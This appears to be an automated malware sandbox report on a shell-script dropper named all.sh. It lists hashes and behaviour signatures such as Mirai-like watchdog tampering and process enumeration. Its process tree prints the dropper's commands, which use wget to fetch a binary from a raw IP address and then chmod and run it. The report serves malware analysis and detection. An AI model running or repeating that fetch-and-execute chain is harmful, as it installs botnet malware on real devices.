Analysis
- max time kernel
149s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
10/09/2026, 16:22
Static task
static1
Behavioral task
behavioral1
Sample
all.sh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
all.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
7 signatures
150 seconds
Behavioral task
behavioral3
Sample
all.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
8 signatures
150 seconds
Behavioral task
behavioral4
Sample
all.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
4 signatures
150 seconds
General
- Target all.sh
- Size 2KB
- Sample260910-tvalbsdr4z
- SHA256 64910261f7c28947f9c8f8afdcece25addec9c02ee62d1dedded066a8d6571f3
- MD5 3ad076810b8065e724d44e53f59cff25
- SHA1 d8bb68d8461a99d99698678be6f52528c0d1dcc1
- SHA512 c4813bb5c2d0f3b952ae60a78fdbfaa6ead682a379e1bd16df2db1a99baa3e22534612b2f3997c140bb01b262a66bf140c24f92bc6686de092874c77b7049bbb
- TLSH T1FF4132F62722677382AF89E697E2574AA04500537CD80BF0FBEC65103F56ED9BC8A501
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 673 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/morte 674 all.sh - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog morte File opened for modification /dev/misc/watchdog morte - Enumerates running processes
Discovers information about currently running processes on the system
- Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog morte File opened for modification /bin/watchdog morte -
description ioc Process File opened for reading /proc/14/status morte File opened for reading /proc/22/status morte File opened for reading /proc/674/status morte File opened for reading /proc/300/status morte File opened for reading /proc/578/status morte File opened for reading /proc/11/status morte File opened for reading /proc/12/status morte File opened for reading /proc/16/status morte File opened for reading /proc/17/status morte File opened for reading /proc/28/status morte File opened for reading /proc/281/status morte File opened for reading /proc/29/status morte File opened for reading /proc/107/status morte File opened for reading /proc/142/status morte File opened for reading /proc/159/status morte File opened for reading /proc/640/status morte File opened for reading /proc/105/status morte File opened for reading /proc/291/status morte File opened for reading /proc/303/status morte File opened for reading /proc/642/status morte File opened for reading /proc/24/status morte File opened for reading /proc/26/status morte File opened for reading /proc/2/status morte File opened for reading /proc/15/status morte File opened for reading /proc/19/status morte File opened for reading /proc/323/status morte File opened for reading /proc/641/status morte File opened for reading /proc/20/status morte File opened for reading /proc/632/status morte File opened for reading /proc/635/status morte File opened for reading /proc/4/status morte File opened for reading /proc/41/status morte File opened for reading /proc/583/status morte File opened for reading /proc/584/status morte File opened for reading /proc/6/status morte File opened for reading /proc/25/status morte File opened for reading /proc/27/status morte File opened for reading /proc/664/status morte File opened for reading /proc/23/status morte File opened for reading /proc/146/status morte File opened for reading /proc/152/status morte File opened for reading /proc/168/status morte File opened for reading /proc/564/status morte File opened for reading /proc/316/status morte File opened for reading /proc/1/status morte File opened for reading /proc/10/status morte File opened for reading /proc/13/status morte File opened for reading /proc/42/status morte File opened for reading /proc/676/status morte File opened for reading /proc/3/status morte File opened for reading /proc/7/status morte File opened for reading /proc/8/status morte File opened for reading /proc/579/status morte File opened for reading /proc/644/status morte File opened for reading /proc/21/status morte File opened for reading /proc/75/status morte File opened for reading /proc/140/status morte File opened for reading /proc/5/status morte File opened for reading /proc/18/status morte File opened for reading /proc/298/status morte File opened for reading /proc/336/status morte File opened for reading /proc/9/status morte File opened for reading /proc/43/status morte File opened for reading /proc/96/status morte - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/morte wget
Processes
-
/tmp/all.sh/tmp/all.sh1⤵
- Executes dropped EXE
PID:644 -
/bin/unameuname -m2⤵PID:649
-
-
/usr/bin/wgetwget -q http://180.93.111.142/00101010101001/morte.arm7 -O morte2⤵
- Writes file to tmp directory
PID:654
-
-
/bin/chmodchmod +x morte2⤵
- File and Directory Permissions Modification
PID:673
-
-
/tmp/morte./morte2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:674
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/morte
- Size 97KB
- SHA256 5196899532a56e73454398678e30c3f4d1091f084a861d36b6213b0a529e4c4f
- MD5 9b121821ff94253c42078e0c2090d22f
- SHA1 01036cdac018654c42aee440e49badab5abcf6fe
- SHA512 8fa6f6eb9d60c2ce7ebd165469b3b374b760d71b897688ac71814c6c7e97a7e45eeceb1dc0694049cb1c03bd5b9be3668e269bb9ad8d2e37d7104af9a4315c32
- SSDEEP 1536:Nzey2nUUujiAzqjFwkinQ0Gd3QAqcO5ALRs82NdU+F92uDlG4Szgr3GZm14Rk37g:NKy2UUSgjFMJG+Z2i3Bnl4zgCZU76
- TLSH T15EA31B5AF890DE62C6D4267AFA5E118C33130B78D2DA31068D149F3537EB96E0B7F906
- MD5 SHA1 SHA512 SSDEEP TLSH